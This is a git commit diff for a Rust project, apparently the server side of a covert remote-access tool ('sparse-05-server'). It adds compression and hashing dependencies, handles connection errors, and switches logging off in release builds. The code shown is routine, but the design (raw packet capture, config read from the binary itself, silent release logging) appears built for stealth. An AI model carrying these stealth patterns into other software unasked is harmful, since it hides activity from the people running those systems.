WIP: adding more cross compilation support

This commit is contained in:
Andrew Rioux 2024-12-11 06:54:23 -05:00
parent 4ae9f38812
commit d31a09e331
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
7 changed files with 45 additions and 6 deletions

29
Cargo.lock generated
View File

@ -281,6 +281,15 @@ version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "dcb25d077389e53838a8158c8e99174c5a9d902dee4904320db714f3c653ffba"
[[package]]
name = "crc32fast"
version = "1.4.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a97769d94ddab943e4510d138150169a2758b5ef3eb191a9ee688de3e23ef7b3"
dependencies = [
"cfg-if",
]
[[package]]
name = "crossbeam-utils"
version = "0.8.20"
@ -482,6 +491,16 @@ version = "2.1.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e8c02a5121d4ea3eb16a80748c74f5549a5665e4c21333c6098f283870fbdea6"
[[package]]
name = "flate2"
version = "1.0.33"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "324a1be68054ef05ad64b861cc9eaf1d623d2d8cb25b4bf2cb9cdd902b4bf253"
dependencies = [
"crc32fast",
"miniz_oxide",
]
[[package]]
name = "fs_extra"
version = "1.3.0"
@ -750,6 +769,12 @@ dependencies = [
"value-bag",
]
[[package]]
name = "md5"
version = "0.7.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771"
[[package]]
name = "memchr"
version = "2.7.4"
@ -1322,7 +1347,9 @@ dependencies = [
"anyhow",
"ecies-ed25519",
"ed25519-dalek",
"flate2",
"libc",
"md5",
"rand 0.7.3",
"raw_tty",
"rmp-serde",
@ -1353,8 +1380,10 @@ dependencies = [
"cc",
"ecies-ed25519",
"ed25519-dalek",
"flate2",
"libc",
"log",
"md5",
"packets",
"pcap-sys",
"rand 0.7.3",

View File

@ -8,7 +8,9 @@ ansi_term = "0.12.1"
anyhow = "1.0.75"
ecies-ed25519 = { version = "0.5.1", features = ["serde"] }
ed25519-dalek = "1.0.1"
flate2 = "1.0.33"
libc = "0.2.147"
md5 = "0.7.0"
rand = "0.7"
rmp-serde = "1.1.2"
serde = { version = "1.0.188", features = ["derive"] }

View File

@ -18,6 +18,8 @@ ecies-ed25519 = { version = "0.5.1", features = ["serde"] }
packets = { path = "../../packets" }
pcap-sys = { path = "../../pcap-sys", optional = true }
windows-service = { version = "0.6.0", optional = true }
flate2 = "1.0.33"
md5 = "0.7.0"
[build-dependencies]
cc = "1.0"

View File

@ -2,7 +2,6 @@
use std::ffi::c_int;
use std::path::PathBuf;
use anyhow::Context;
use sparse_05_common::messages::{Capabilities, OperatingSystem, TransportType};
#[derive(Debug)]

View File

@ -174,7 +174,9 @@ impl InterfaceReceiver {
if udp_pkt.dstport() != *port {
return Ok(false);
}
let _ = (f)(packet.to_owned());
if let Err(e) = (f)(packet.to_owned()) {
log::warn!("error on handling a new connection: {e:?}");
}
Ok(false)
},
false,

View File

@ -20,7 +20,11 @@ mod interface;
fn main_to_run() -> anyhow::Result<()> {
simple_logger::SimpleLogger::new()
.with_level(log::LevelFilter::Off)
.with_level(if cfg!(debug_assertions) {
log::LevelFilter::Warn
} else {
log::LevelFilter::Off
})
.with_module_level("sparse-05-server", log::LevelFilter::Debug)
.init()?;
@ -32,9 +36,9 @@ fn main_to_run() -> anyhow::Result<()> {
log::debug!("Capabilities: {:?}", capabilities);
let config_bytes = catconf::read_from_exe(CONFIG_SEPARATOR, 512)?;
let config_bytes = catconf::read_from_exe(CONFIG_SEPARATOR, 128)?;
if config_bytes.len() != 66 {
bail!("could not load configuration");
bail!("could not load configuration: {} bytes", config_bytes.len());
}
let (port, conn_pubkey, enc_pubkey) = {
@ -58,6 +62,7 @@ fn main_to_run() -> anyhow::Result<()> {
let Ok(packet) = recv_eth_packet.recv() else {
continue;
};
log::trace!("Sending packet of length: {}", packet.pkt().data.len());
if let Err(_) = interface_sender.sendpacket(packet.pkt()) {}
});